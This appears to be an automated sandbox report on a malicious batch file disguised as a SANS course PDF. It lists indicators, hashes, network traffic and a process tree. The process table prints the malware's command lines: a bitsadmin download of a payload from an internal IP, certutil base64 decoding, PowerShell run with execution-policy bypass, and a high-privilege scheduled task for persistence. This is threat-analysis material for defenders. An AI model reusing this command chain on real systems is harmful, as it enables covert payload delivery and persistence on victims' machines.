| File name: | SANS SEC401.pdf .cmd |
| Full analysis: | https://app.any.run/tasks/c32f4fb9-62ea-4149-ae42-29ef57ae7a4f |
| Verdict: | Malicious activity |
| Analysis date: | November 08, 2024, 08:15:40 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Indicators: | |
| MIME: | text/plain |
| File info: | Unicode text, UTF-16, little-endian text, with very long lines (5361), with no line terminators |
| MD5: | 74900DD2A29CD5EEBCC259F0265C8425 |
| SHA1: | 0760D0C2F9FB94F471BC1E4F71A5CA9288D33467 |
| SHA256: | 5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D |
| SSDEEP: | 96:ul+77vtyaJWSUIG51PC2zaI5Zy5aj9rJ3l/uMkFF05lkcarW/QmA7ao5hUXhUQJH:WU7vtyMxe1P73ZyYsRcEoJ4q |
MALICIOUS
Downloads files via BITSADMIN.EXE
- cmd.exe (PID: 6716)
Changes powershell execution policy (Bypass)
- cmd.exe (PID: 6420)
Bypass execution policy to execute commands
- powershell.exe (PID: 6508)
Uses Task Scheduler to run other applications
- cmd.exe (PID: 6716)
SUSPICIOUS
Decoding a file from Base64 using CertUtil
- cmd.exe (PID: 6716)
Application launched itself
- cmd.exe (PID: 6716)
The process executes Powershell scripts
- cmd.exe (PID: 6420)
Executes script without checking the security policy
- powershell.exe (PID: 6508)
The process bypasses the loading of PowerShell profile settings
- cmd.exe (PID: 6420)
Starts CMD.EXE for commands execution
- cmd.exe (PID: 6716)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 6420)
Uses TIMEOUT.EXE to delay execution
- cmd.exe (PID: 6716)
INFO
No info indicators.
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TRiD
| .txt | | | Text - UTF-16 (LE) encoded (66.6) |
|---|---|---|
| .mp3 | | | MP3 audio (33.3) |
Total processes
137
Monitored processes
8
Malicious processes
1
Suspicious processes
2
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 204 | bitsadmin /transfer Nothing /download /priority normal http://172.18.35.10:8000/amanwhogetsnorest.jpg C:\Windows\Temp\amanwhogetsnorest.jpg | C:\Windows\System32\bitsadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 3221225786 Version: 7.8.19041.1 (WinBuild.160101.0800) Modules
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| 2648 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 3156 | certutil -decode amanwhogetsnorest.jpg normal.zip | C:\Windows\System32\certutil.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 2147942402 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6420 | cmd /c "powershell -NOP -EP Bypass C:\Windows\Temp\z.ps1" | C:\Windows\System32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6508 | powershell -NOP -EP Bypass C:\Windows\Temp\z.ps1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6716 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\Desktop\SANS SEC401.pdf .cmd" " | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7100 | timeout /t 200 /nobreak | C:\Windows\System32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7104 | schtasks /create /sc minute /mo 3 /tn "whoisthebaba" /tr C:\Windows\Temp\run.bat /RL HIGHEST | C:\Windows\System32\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Task Scheduler Configuration Tool Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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Total events
4 728
Read events
4 728
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
1
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6508 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_312cck42.xkx.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6716 | cmd.exe | C:\Windows\Temp\z.ps1 | text | |
MD5:6D7FDB60EC6FD42855650734FA70BC50 | SHA256:8B0825607C1EED686C1AC68F721C143A000CA826859772744F19415D0C3FF3B2 | |||
| 6508 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ae0iw3wd.tt5.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6508 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:4245C9004F11BCA788E95C8F12C16F10 | SHA256:B37443DA94579A59A54EE98D03B9EBBB6B9D33C593D36419E3362B175D3EEC35 | |||
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HTTP(S) requests
7
TCP/UDP connections
47
DNS requests
22
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5488 | MoUsoCoreWorker.exe | GET | 200 | 2.16.241.12:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5488 | MoUsoCoreWorker.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4360 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
1880 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6296 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
6296 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
7004 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
6944 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
5488 | MoUsoCoreWorker.exe | 2.16.241.12:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5488 | MoUsoCoreWorker.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
4360 | SearchApp.exe | 2.23.209.185:443 | www.bing.com | Akamai International B.V. | GB | whitelisted |
4360 | SearchApp.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
4020 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
816 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
google.com |
| whitelisted |
login.live.com |
| whitelisted |
th.bing.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |